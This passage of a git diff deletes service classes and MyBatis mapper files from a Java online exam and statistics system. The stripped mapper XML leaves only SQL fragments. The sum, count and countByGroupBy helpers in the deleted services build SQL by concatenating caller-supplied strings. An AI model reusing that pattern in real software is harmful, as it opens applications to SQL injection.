com.luqj.exam.domain.ExamQuestionPlus; -import com.luqj.exam.service.IExamQuestionService; -import com.ruoyi.common.utils.StringUtils; -import com.alibaba.fastjson.JSONArray; -import java.util.List; -import java.util.Map; -import com.ruoyi.common.utils.DateUtils; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -import com.luqj.exam.mapper.StatsExamQuestionAccuracyMapper; -import com.luqj.exam.domain.StatsExamQuestionAccuracy; -import com.luqj.exam.domain.StatsExamQuestionAccuracyPlus; -import com.luqj.exam.service.IStatsExamQuestionAccuracyService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -/** - * 按题目统计Service业务层处理 - * - * @author ruoyi - * @date 2021-07-23 - */ -@Service -public class StatsExamQuestionAccuracyServiceImpl extends ServiceImpl implements IStatsExamQuestionAccuracyService -{ - @Autowired - private StatsExamQuestionAccuracyMapper statsExamQuestionAccuracyMapper; - @Autowired - private IExamQuestionService examQuestionService; - @Autowired - private JdbcTemplate jdbcTemplate; - - @Override - public List getByIds(List ids, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).in(StatsExamQuestionAccuracyPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - @Override - public StatsExamQuestionAccuracyPlus getById(Long id, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).eq(StatsExamQuestionAccuracyPlus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction... columns) { - List list = this.getByIds(ids, columns); - Map map = new HashMap<>(); - for (StatsExamQuestionAccuracyPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public Map getMapByIds(List ids) { - List list = this.getByIds(ids); - Map map = new HashMap<>(); - for (StatsExamQuestionAccuracyPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List getByIds(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper().in(StatsExamQuestionAccuracyPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from stats_exam_question_accuracy "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" stats_exam_question_accuracy "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" stats_exam_question_accuracy "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - /** - * 查询按题目统计 - * - * @param id 按题目统计ID - * @return 按题目统计 - */ - @Override - public StatsExamQuestionAccuracy selectStatsExamQuestionAccuracyById(Long id) - { - return statsExamQuestionAccuracyMapper.selectStatsExamQuestionAccuracyById(id); - } - - /** - * 查询按题目统计列表 - * - * @param statsExamQuestionAccuracy 按题目统计 - * @return 按题目统计 - */ - @Override - public List selectStatsExamQuestionAccuracyList(StatsExamQuestionAccuracy statsExamQuestionAccuracy) - { - List list = statsExamQuestionAccuracyMapper.selectStatsExamQuestionAccuracyList(statsExamQuestionAccuracy); - if (list.size() == 0) { - return list; - } - List qids = new ArrayList<>(); - for (StatsExamQuestionAccuracy item : list) { - qids.add(item.getQuestionId()); - } - Map examQuestionMap = examQuestionService.getMapByIds(qids, ExamQuestionPlus::getId, ExamQuestionPlus::getQuestion); - for (StatsExamQuestionAccuracy item : list) { - if (examQuestionMap.containsKey(item.getQuestionId())) { - item.setQuestionName(examQuestionMap.get(item.getQuestionId()).getQuestion()); - } - } - return list; - } - - /** - * 新增按题目统计 - * - * @param statsExamQuestionAccuracy 按题目统计 - * @return 结果 - */ - @Override - public int insertStatsExamQuestionAccuracy(StatsExamQuestionAccuracy statsExamQuestionAccuracy) - { - statsExamQuestionAccuracy.setCreateTime(DateUtils.getNowDate()); - return statsExamQuestionAccuracyMapper.insertStatsExamQuestionAccuracy(statsExamQuestionAccuracy); - } - - /** - * 修改按题目统计 - * - * @param statsExamQuestionAccuracy 按题目统计 - * @return 结果 - */ - @Override - public int updateStatsExamQuestionAccuracy(StatsExamQuestionAccuracy statsExamQuestionAccuracy) - { - statsExamQuestionAccuracy.setUpdateTime(DateUtils.getNowDate()); - return statsExamQuestionAccuracyMapper.updateStatsExamQuestionAccuracy(statsExamQuestionAccuracy); - } - - /** - * 批量删除按题目统计 - * - * @param ids 需要删除的按题目统计ID - * @return 结果 - */ - @Override - public int deleteStatsExamQuestionAccuracyByIds(Long[] ids) - { - return statsExamQuestionAccuracyMapper.deleteStatsExamQuestionAccuracyByIds(ids); - } - - /** - * 删除按题目统计信息 - * - * @param id 按题目统计ID - * @return 结果 - */ - @Override - public int deleteStatsExamQuestionAccuracyById(Long id) - { - return statsExamQuestionAccuracyMapper.deleteStatsExamQuestionAccuracyById(id); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/service/impl/StatsExamWeekAccuracyServiceImpl.java b/luqj-exam/src/main/java/com/luqj/exam/service/impl/StatsExamWeekAccuracyServiceImpl.java deleted file mode 100644 index 4ad276c..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/service/impl/StatsExamWeekAccuracyServiceImpl.java +++ /dev/null @@ -1,211 +0,0 @@ -package com.luqj.exam.service.impl; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.github.pagehelper.PageHelper; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; - -import java.util.ArrayList; -import java.util.HashMap; - -import com.ruoyi.common.core.domain.entity.SysUser; -import com.ruoyi.common.utils.StringUtils; -import com.alibaba.fastjson.JSONArray; -import java.util.List; -import java.util.Map; -import com.ruoyi.common.utils.DateUtils; -import com.ruoyi.system.service.ISysUserService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -import com.luqj.exam.mapper.StatsExamWeekAccuracyMapper; -import com.luqj.exam.domain.StatsExamWeekAccuracy; -import com.luqj.exam.domain.StatsExamWeekAccuracyPlus; -import com.luqj.exam.service.IStatsExamWeekAccuracyService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -/** - * 学生答题正确率统计Service业务层处理 - * - * @author ruoyi - * @date 2021-07-23 - */ -@Service -public class StatsExamWeekAccuracyServiceImpl extends ServiceImpl implements IStatsExamWeekAccuracyService -{ - @Autowired - private StatsExamWeekAccuracyMapper statsExamWeekAccuracyMapper; - @Autowired - private JdbcTemplate jdbcTemplate; - @Autowired - private ISysUserService sysUserService; - @Override - public List getByIds(List ids, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).in(StatsExamWeekAccuracyPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - @Override - public StatsExamWeekAccuracyPlus getById(Long id, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).eq(StatsExamWeekAccuracyPlus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction... columns) { - List list = this.getByIds(ids, columns); - Map map = new HashMap<>(); - for (StatsExamWeekAccuracyPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public Map getMapByIds(List ids) { - List list = this.getByIds(ids); - Map map = new HashMap<>(); - for (StatsExamWeekAccuracyPlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List getByIds(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper().in(StatsExamWeekAccuracyPlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from stats_exam_week_accuracy "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" stats_exam_week_accuracy "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" stats_exam_week_accuracy "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - /** - * 查询学生答题正确率统计 - * - * @param id 学生答题正确率统计ID - * @return 学生答题正确率统计 - */ - @Override - public StatsExamWeekAccuracy selectStatsExamWeekAccuracyById(Long id) - { - return statsExamWeekAccuracyMapper.selectStatsExamWeekAccuracyById(id); - } - - /** - * 查询学生答题正确率统计列表 - * - * @param statsExamWeekAccuracy 学生答题正确率统计 - * @return 学生答题正确率统计 - */ - @Override - public List selectStatsExamWeekAccuracyList(StatsExamWeekAccuracy statsExamWeekAccuracy) - { - List list = statsExamWeekAccuracyMapper.selectStatsExamWeekAccuracyList(statsExamWeekAccuracy); - if (list.size() == 0) { - return list; - } - List ids = new ArrayList<>(); - for (StatsExamWeekAccuracy item : list) { - ids.add(item.getUserId()); - } - Map map = sysUserService.selectMapUserById(ids); - for (StatsExamWeekAccuracy item : list) { - if (map.containsKey(item.getUserId())) { - item.setUserName(map.get(item.getUserId()).getNickName()); - } - } - return list; - } - - /** - * 新增学生答题正确率统计 - * - * @param statsExamWeekAccuracy 学生答题正确率统计 - * @return 结果 - */ - @Override - public int insertStatsExamWeekAccuracy(StatsExamWeekAccuracy statsExamWeekAccuracy) - { - statsExamWeekAccuracy.setCreateTime(DateUtils.getNowDate()); - return statsExamWeekAccuracyMapper.insertStatsExamWeekAccuracy(statsExamWeekAccuracy); - } - - /** - * 修改学生答题正确率统计 - * - * @param statsExamWeekAccuracy 学生答题正确率统计 - * @return 结果 - */ - @Override - public int updateStatsExamWeekAccuracy(StatsExamWeekAccuracy statsExamWeekAccuracy) - { - statsExamWeekAccuracy.setUpdateTime(DateUtils.getNowDate()); - return statsExamWeekAccuracyMapper.updateStatsExamWeekAccuracy(statsExamWeekAccuracy); - } - - /** - * 批量删除学生答题正确率统计 - * - * @param ids 需要删除的学生答题正确率统计ID - * @return 结果 - */ - @Override - public int deleteStatsExamWeekAccuracyByIds(Long[] ids) - { - return statsExamWeekAccuracyMapper.deleteStatsExamWeekAccuracyByIds(ids); - } - - /** - * 删除学生答题正确率统计信息 - * - * @param id 学生答题正确率统计ID - * @return 结果 - */ - @Override - public int deleteStatsExamWeekAccuracyById(Long id) - { - return statsExamWeekAccuracyMapper.deleteStatsExamWeekAccuracyById(id); - } -} diff --git a/luqj-exam/src/main/resources/mapper/exam/ExamPaperItemMapper.xml b/luqj-exam/src/main/resources/mapper/exam/ExamPaperItemMapper.xml deleted file mode 100644 index 2bbbaf9..0000000 --- a/luqj-exam/src/main/resources/mapper/exam/ExamPaperItemMapper.xml +++ /dev/null @@ -1,100 +0,0 @@ - - - - - - - - - - - - - - - - - - - - select id, paper_id, exam_paper_module_id, question_type_id, question_id, score, difficulty, sort_num, create_time, creator_id, status from exam_paper_item - - - - - - - - insert into exam_paper_item - - paper_id, - exam_paper_module_id, - question_type_id, - question_id, - score, - difficulty, - sort_num, - create_time, - creator_id, - status, - - - #{paperId}, - #{examPaperModuleId}, - #{questionTypeId}, - #{questionId}, - #{score}, - #{difficulty}, - #{sortNum}, - #{createTime}, - #{creatorId}, - #{status}, - - - - - update exam_paper_item - - paper_id = #{paperId}, - exam_paper_module_id = #{examPaperModuleId}, - question_type_id = #{questionTypeId}, - question_id = #{questionId}, - score = #{score}, - difficulty = #{difficulty}, - sort_num = #{sortNum}, - create_time = #{createTime}, - creator_id = #{creatorId}, - status = #{status}, - - where id = #{id} - - - - delete from exam_paper_item where id = #{id} - - - - delete from exam_paper_item where id in - - #{id} - - - \ No newline at end of file diff --git a/luqj-exam/src/main/resources/mapper/exam/ExamPaperMapper.xml b/luqj-exam/src/main/resources/mapper/exam/ExamPaperMapper.xml deleted file mode 100644 index 622eefe..0000000 --- a/luqj-exam/src/main/resources/mapper/exam/ExamPaperMapper.xml +++ /dev/null @@ -1,200 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - select id, name, no, img_url, province_id, city_id, school_id, course_id, teacher_id, auditor_id, year, semester, union_type, type, difficulty, score, pass_score, exam_time, time_length, create_time, update_time, is_delete, status, category_id from exam_paper - - - - - - - - insert into exam_paper - - name, - no, - img_url, - province_id, - city_id, - school_id, - course_id, - teacher_id, - auditor_id, - year, - semester, - union_type, - type, - difficulty, - score, - pass_score, - exam_time, - time_length, - create_time, - update_time, - is_delete, - status, - category_id, - - - #{name}, - #{no}, - #{imgUrl}, - #{provinceId}, - #{cityId}, - #{schoolId}, - #{courseId}, - #{teacherId}, - #{auditorId}, - #{year}, - #{semester}, - #{unionType}, - #{type}, - #{difficulty}, - #{score}, - #{passScore}, - #{examTime}, - #{timeLength}, - #{createTime}, - #{updateTime}, - #{isDelete}, - #{status}, - #{categoryId}, - - - - - update exam_paper - - name = #{name}, - no = #{no}, - img_url = #{imgUrl}, - province_id = #{provinceId}, - city_id = #{cityId}, - school_id = #{schoolId}, - course_id = #{courseId}, - teacher_id = #{teacherId}, - auditor_id = #{auditorId}, - year = #{year}, - semester = #{semester}, - union_type = #{unionType}, - type = #{type}, - difficulty = #{difficulty}, - score = #{score}, - pass_score = #{passScore}, - exam_time = #{examTime}, - time_length = #{timeLength}, - create_time = #{createTime}, - update_time = #{updateTime}, - is_delete = #{isDelete}, - status = #{status}, - category_id = #{categoryId}, - - where id = #{id} - - - - delete from exam_paper where id = #{id} - - - - delete from exam_paper where id in - - #{id} - - - - - delete from exam_paper_module where paper_id in - - #{paperId} - - - - - delete from exam_paper_module where paper_id = #{paperId} - - - - insert into exam_paper_module( id, paper_id, module_name, question_type_id, time_length, img_url, score, create_time, sort_num) values - - ( #{item.id}, #{item.paperId}, #{item.moduleName}, #{item.questionTypeId}, #{item.timeLength}, #{item.imgUrl}, #{item.score}, #{item.createTime}, #{item.sortNum}) - - - \ No newline at end of file diff --git a/luqj-exam/src/main/resources/mapper/exam/ExamPaperModuleMapper.xml b/luqj-exam/src/main/resources/mapper/exam/ExamPaperModuleMapper.xml deleted file mode 100644 index 6801b5f..0000000 --- a/luqj-exam/src/main/resources/mapper/exam/ExamPaperModuleMapper.xml +++ /dev/null @@ -1,131 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - select id, paper_id, module_name, question_type_id, time_length, img_url, score, create_time, sort_num from exam_paper_module - - - - - - - - insert into exam_paper_module - - paper_id, - module_name, - question_type_id, - time_length, - img_url, - score, - create_time, - sort_num, - - - #{paperId}, - #{moduleName}, - #{questionTypeId}, - #{timeLength}, - #{imgUrl}, - #{score}, - #{createTime}, - #{sortNum}, - - - - - update exam_paper_module - - paper_id = #{paperId}, - module_name = #{moduleName}, - question_type_id = #{questionTypeId}, - time_length = #{timeLength}, - img_url = #{imgUrl}, - score = #{score}, - create_time = #{createTime}, - sort_num = #{sortNum}, - - where id = #{id} - - - - delete from exam_paper_module where id = #{id} - - - - delete from exam_paper_module where id in - - #{id} - - - - - delete from exam_paper_item where exam_paper_module_id in - - #{examPaperModuleId} - - - - - delete from exam_paper_item where exam_paper_module_id = #{examPaperModuleId} - - - - insert into exam_paper_item( id, paper_id, exam_paper_module_id, question_type_id, question_id, score, difficulty, sort_num, create_time, creator_id, status) values - - ( #{item.id}, #{item.paperId}, #{item.examPaperModuleId}, #{item.questionTypeId}, #{item.questionId}, #{item.score}, #{item.difficulty}, #{item.sortNum}, #{item.createTime}, #{item.creatorId}, #{item.status}) - - - \ No newline at end of file diff --git a/luqj-exam/src/main/resources/mapper/exam/ExamPaperStrategyListMapper.xml b/luqj-exam/src/main/resources/mapper/exam/ExamPaperStrategyListMapper.xml deleted file mode 100644 index c5c8b70..0000000 --- a/luqj-exam/src/main/resources/mapper/exam/ExamPaperStrategyListMapper.xml +++ /dev/null @@ -1,85 +0,0 @@ - - - - - - - - - - - - - - - - - select id, exam_paper_strategy_id, question_type, difficulty, score, create_time, count, creator_id from exam_paper_strategy_list - - - - - - - - insert into exam_paper_strategy_list - - exam_paper_strategy_id, - question_type, - difficulty, - score, - create_time, - count, - creator_id, - - - #{examPaperStrategyId}, - #{questionType}, - #{difficulty}, - #{score}, - #{createTime}, - #{count}, - #{creatorId}, - - - - - update exam_paper_strategy_list - - exam_paper_strategy_id = #{examPaperStrategyId}, - question_type = #{questionType}, - difficulty = #{difficulty}, - score = #{score}, - create_time = #{createTime}, - count = #{count}, - creator_id = #{creatorId}, - - where id = #{id} - - - - delete from exam_paper_strategy_list where id = #{id} - - - - delete from exam_paper_strategy_list where id in - - #{id} - - - \ No newline at end of file diff --git a/luqj-exam/src/main/resources/mapper/exam/ExamPaperStrategyMapper.xml b/luqj-exam/src/main/resources/mapper/exam/ExamPaperStrategyMapper.xml deleted file mode 100644 index a4662dd..0000000 --- a/luqj-exam/src/main/resources/mapper/exam/ExamPaperStrategyMapper.xml +++ /dev/null @@ -1,126 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - select id, name, code, type, difficulty, score, create_time, creator_id, category_id from exam_paper_strategy - - - - - - - - insert into exam_paper_strategy - - name, - code, - type, - difficulty, - score, - create_time, - creator_id, - category_id, - - - #{name}, - #{code}, - #{type}, - #{difficulty}, - #{score}, - #{createTime}, - #{creatorId}, - #{categoryId}, - - - - - update exam_paper_strategy - - name = #{name}, - code = #{code}, - type = #{type}, - difficulty = #{difficulty}, - score = #{score}, - create_time = #{createTime}, - creator_id = #{creatorId}, - category_id = #{categoryId}, - - where id = #{id} - - - - delete from exam_paper_strategy where id = #{id} - - - - delete from exam_paper_strategy where id in - - #{id} - - - - - delete from exam_paper_strategy_list where exam_paper_strategy_id in - - #{examPaperStrategyId} - - - - - delete from exam_paper_strategy_list where exam_paper_strategy_id = #{examPaperStrategyId} - - - - insert into exam_paper_strategy_list( id, exam_paper_strategy_id, question_type, difficulty, score, create_time, count, creator_id) values - - ( #{item.id}, #{item.examPaperStrategyId}, #{item.questionType}, #{item.difficulty}, #{item.score}, #{item.createTime}, #{item.count}, #{item.creatorId}) - - - \ No newline at end of file diff --git a/luqj-exam/src/main/resources/mapper/exam/ExamQuestionCorrectionMapper.xml b/luqj-exam/src/main/resources/mapper/exam/ExamQuestionCorrectionMapper.xml deleted file mode 100644 index 2a6e237..0000000 --- a/luqj-exam/src/main/resources/mapper/exam/ExamQuestionCorrectionMapper.xml +++ /dev/null @@ -1,85 +0,0 @@ - - - - - - - - - - - - - - - - - select id, question_id, student_id, old_answer, advice_answer, advice_analysis, create_time, error_type_list from exam_question_correction - - - - - - - - insert into exam_question_correction - - question_id, - student_id, - old_answer, - advice_answer, - advice_analysis, - create_time, - error_type_list, - - - #{questionId}, - #{studentId}, - #{oldAnswer}, - #{adviceAnswer}, - #{adviceAnalysis}, - #{createTime}, - #{errorTypeList}, - - - - - update exam_question_correction - - question_id = #{questionId}, - student_id = #{studentId}, - old_answer = #{oldAnswer}, - advice_answer = #{adviceAnswer}, - advice_analysis = #{adviceAnalysis}, - create_time = #{createTime}, - error_type_list = #{errorTypeList}, - - where id = #{id} - - - - delete from exam_question_correction where id = #{id} - - - - delete from exam_question_correction where id in - - #{id} - - - \ No newline at end of file diff --git a/luqj-exam/src/main/resources/mapper/exam/ExamQuestionFavoriteMapper.xml b/luqj-exam/src/main/resources/mapper/exam/ExamQuestionFavoriteMapper.xml deleted file mode 100644 index 020e1fc..0000000 --- a/luqj-exam/src/main/resources/mapper/exam/ExamQuestionFavoriteMapper.xml +++ /dev/null @@ -1,85 +0,0 @@ - - - - - - - - - - - - - - - - - select id, question_id, student_id, category_id, category_name, create_time, source, school_id from exam_question_favorite - - - - - - - - insert into exam_question_favorite - - question_id, - student_id, - category_id, - category_name, - create_time, - source, - school_id, - - - #{questionId}, - #{studentId}, - #{categoryId}, - #{categoryName}, - #{createTime}, - #{source}, - #{schoolId}, - - - - - update exam_question_favorite - - question_id = #{questionId}, - student_id = #{studentId}, - category_id = #{categoryId}, - category_name = #{categoryName}, - create_time = #{createTime}, - source = #{source}, - school_id = #{schoolId}, - - where id = #{id} - - - - delete from exam_question_favorite where id = #{id} - - - - delete from exam_question_favorite where id in - - #{id} - - - \ No newline at end of file diff --git a/luqj-exam/src/main/resources/mapper/exam/ExamQuestionMapper.xml b/luqj-exam/src/main/resources/mapper/exam/ExamQuestionMapper.xml deleted file mode 100644 index fdc97bd..0000000 --- a/luqj-exam/src/main/resources/mapper/exam/ExamQuestionMapper.xml +++ /dev/null @@ -1,200 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - select id, no, question, option_a, option_b, option_c, option_d, option_e, option_f, option_g, score, difficulty, point_id, answer, analysis_url, analysis, province_id, city_id, school_id, category_id, course_id, type, exam_id, source, create_time, creator_id, auditor_id, update_time, updater_id, status, is_delete from exam_question - - - - - - - - insert into exam_question - - no, - question, - option_a, - option_b, - option_c, - option_d, - option_e, - option_f, - option_g, - score, - difficulty, - point_id, - answer, - analysis_url, - analysis, - province_id, - city_id, - school_id, - category_id, - course_id, - type, - exam_id, - source, - create_time, - creator_id, - auditor_id, - update_time, - updater_id, - status, - is_delete, - - - #{no}, - #{question}, - #{optionA}, - #{optionB}, - #{optionC}, - #{optionD}, - #{optionE}, - #{optionF}, - #{optionG}, - #{score}, - #{difficulty}, - #{pointId}, - #{answer}, - #{analysisUrl}, - #{analysis}, - #{provinceId}, - #{cityId}, - #{schoolId}, - #{categoryId}, - #{courseId}, - #{type}, - #{examId}, - #{source}, - #{createTime}, - #{creatorId}, - #{auditorId}, - #{updateTime}, - #{updaterId}, - #{status}, - #{isDelete}, - - - - - update exam_question - - no = #{no}, - question = #{question}, - option_a = #{optionA}, - option_b = #{optionB}, - option_c = #{optionC}, - option_d = #{optionD}, - option_e = #{optionE}, - option_f = #{optionF}, - option_g = #{optionG}, - score = #{score}, - difficulty = #{difficulty}, - point_id = #{pointId}, - answer = #{answer}, - analysis_url = #{analysisUrl}, - analysis = #{analysis}, - province_id = #{provinceId}, - city_id = #{cityId}, - school_id = #{schoolId}, - category_id = #{categoryId}, - course_id = #{courseId}, - type = #{type}, - exam_id = #{examId}, - source = #{source}, - create_time = #{createTime}, - creator_id = #{creatorId}, - auditor_id = #{auditorId}, - update_time = #{updateTime}, - updater_id = #{updaterId}, - status = #{status}, - is_delete = #{isDelete}, - - where id = #{id} - - - - delete from exam_question where id = #{id} - - - - delete from exam_question where id in - - #{id} - - - \ No newline at end of file diff --git a/luqj-exam/src/main/resources/mapper/exam/ExamSchoolMapper.xml b/luqj-exam/src/main/resources/mapper/exam/ExamSchoolMapper.xml deleted file mode 100644 index 818232f..0000000 --- a/luqj-exam/src/main/resources/mapper/exam/ExamSchoolMapper.xml +++ /dev/null @@ -1,79 +0,0 @@ - - - - - - - - - - - - - - - - select id, name, province_id, city_id, create_time, update_time, status from exam_school - - - - - - - - insert into exam_school - - name, - province_id, - city_id, - create_time, - update_time, - status, - - - #{name}, - #{provinceId}, - #{cityId}, - #{createTime}, - #{updateTime}, - #{status}, - - - - - update exam_school - - name = #{name}, - province_id = #{provinceId}, - city_id = #{cityId}, - create_time = #{createTime}, - update_time = #{updateTime}, - status = #{status}, - - where id = #{id} - - - - delete from exam_school where id = #{id} - - - - delete from exam_school where id in - - #{id} - - - \ No newline at end of file diff --git a/luqj-exam/src/main/resources/mapper/exam/ExamStudentMistakesMapper.xml b/luqj-exam/src/main/resources/mapper/exam/ExamStudentMistakesMapper.xml deleted file mode 100644 index 9696e2b..0000000 --- a/luqj-exam/src/main/resources/mapper/exam/ExamStudentMistakesMapper.xml +++ /dev/null @@ -1,95 +0,0 @@ - - - - - - - - - - - - - - - - - - - select category_id, id, student_id, error_answer, question_id, create_time, status, category_name, school_id, source from exam_student_mistakes - - - - - - - - insert into exam_student_mistakes - - category_id, - student_id, - error_answer, - question_id, - create_time, - status, - category_name, - school_id, - source, - - - #{categoryId}, - #{studentId}, - #{errorAnswer}, - #{questionId}, - #{createTime}, - #{status}, - #{categoryName}, - #{schoolId}, - #{source}, - - - - - update exam_student_mistakes - - category_id = #{categoryId}, - student_id = #{studentId}, - error_answer = #{errorAnswer}, - question_id = #{questionId}, - create_time = #{createTime}, - status = #{status}, - category_name = #{categoryName}, - school_id = #{schoolId}, - source = #{source}, - - where id = #{id} - - - - delete from exam_student_mistakes where id = #{id} - - - - delete from exam_student_mistakes where id in - - #{id} - - - \ No newline at end of file diff --git a/luqj-exam/src/main/resources/mapper/exam/ExamStudentPaperAnswerMapper.xml b/luqj-exam/src/main/resources/mapper/exam/ExamStudentPaperAnswerMapper.xml deleted file mode 100644 index 0602ef2..0000000 --- a/luqj-exam/src/main/resources/mapper/exam/ExamStudentPaperAnswerMapper.xml +++ /dev/null @@ -1,164 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - select id, paper_id, stu_paper_id, exam_paper_item_id, question_id, student_answer, real_answer, result, score_type, score, take_times, answer_time, difficulty, stu_province_id, stu_city_id, stu_school_id, province_id, city_id, school_id, course_id, type, create_time, update_time, status from exam_student_paper_answer - - - - - - - - insert into exam_student_paper_answer - - paper_id, - stu_paper_id, - exam_paper_item_id, - question_id, - student_answer, - real_answer, - result, - score_type, - score, - take_times, - answer_time, - difficulty, - stu_province_id, - stu_city_id, - stu_school_id, - province_id, - city_id, - school_id, - course_id, - type, - create_time, - update_time, - status, - - - #{paperId}, - #{stuPaperId}, - #{examPaperItemId}, - #{questionId}, - #{studentAnswer}, - #{realAnswer}, - #{result}, - #{scoreType}, - #{score}, - #{takeTimes}, - #{answerTime}, - #{difficulty}, - #{stuProvinceId}, - #{stuCityId}, - #{stuSchoolId}, - #{provinceId}, - #{cityId}, - #{schoolId}, - #{courseId}, - #{type}, - #{createTime}, - #{updateTime}, - #{status}, - - - - - update exam_student_paper_answer - - paper_id = #{paperId}, - stu_paper_id = #{stuPaperId}, - exam_paper_item_id = #{examPaperItemId}, - question_id = #{questionId}, - student_answer = #{studentAnswer}, - real_answer = #{realAnswer}, - result = #{result}, - score_type = #{scoreType}, - score = #{score}, - take_times = #{takeTimes}, - answer_time = #{answerTime}, - difficulty = #{difficulty}, - stu_province_id = #{stuProvinceId}, - stu_city_id = #{stuCityId}, - stu_school_id = #{stuSchoolId}, - province_id = #{provinceId}, - city_id = #{cityId}, - school_id = #{schoolId}, - course_id = #{courseId}, - type = #{type}, - create_time = #{createTime}, - update_time = #{updateTime}, - status = #{status}, - - where id = #{id} - - - - delete from exam_student_paper_answer where id = #{id} - - - - delete from exam_student_paper_answer where id in - - #{id} - - - \ No newline at end of file diff --git a/luqj-exam/src/main/resources/mapper/exam/ExamStudentPaperMapper.xml b/luqj-exam/src/main/resources/mapper/exam/ExamStudentPaperMapper.xml deleted file mode 100644 index a15a3d8..0000000 --- a/luqj-exam/src/main/resources/mapper/exam/ExamStudentPaperMapper.xml +++ /dev/null @@ -1,96 +0,0 @@ - - - - - - - - - - - - - - - - - - - select id, paper_id, student_id, exam_time, start_time, end_time, take_times, score, status, exam_type from exam_student_paper - - - - - - - - insert into exam_student_paper - - paper_id, - student_id, - exam_time, - start_time, - end_time, - take_times, - score, - status, - exam_type, - - - #{paperId}, - #{studentId}, - #{examTime}, - #{startTime}, - #{endTime}, - #{takeTimes}, - #{score}, - #{status}, - #{examType}, - - - - - update exam_student_paper - - paper_id = #{paperId}, - student_id = #{studentId}, - exam_time = #{examTime}, - start_time = #{startTime}, - end_time = #{endTime}, - take_times = #{takeTimes}, - score = #{score}, - status = #{status}, - exam_type = #{examType}, - - where id = #{id} - - - - delete from exam_student_paper where id = #{id} - - - - delete from exam_student_paper where id in - - #{id} - - - \ No newline at end of file diff --git a/luqj-exam/src/main/resources/mapper/exam/ExamStudentScoreMapper.xml b/luqj-exam/src/main/resources/mapper/exam/ExamStudentScoreMapper.xml deleted file mode 100644 index c7a77e2..0000000 --- a/luqj-exam/src/main/resources/mapper/exam/ExamStudentScoreMapper.xml +++ 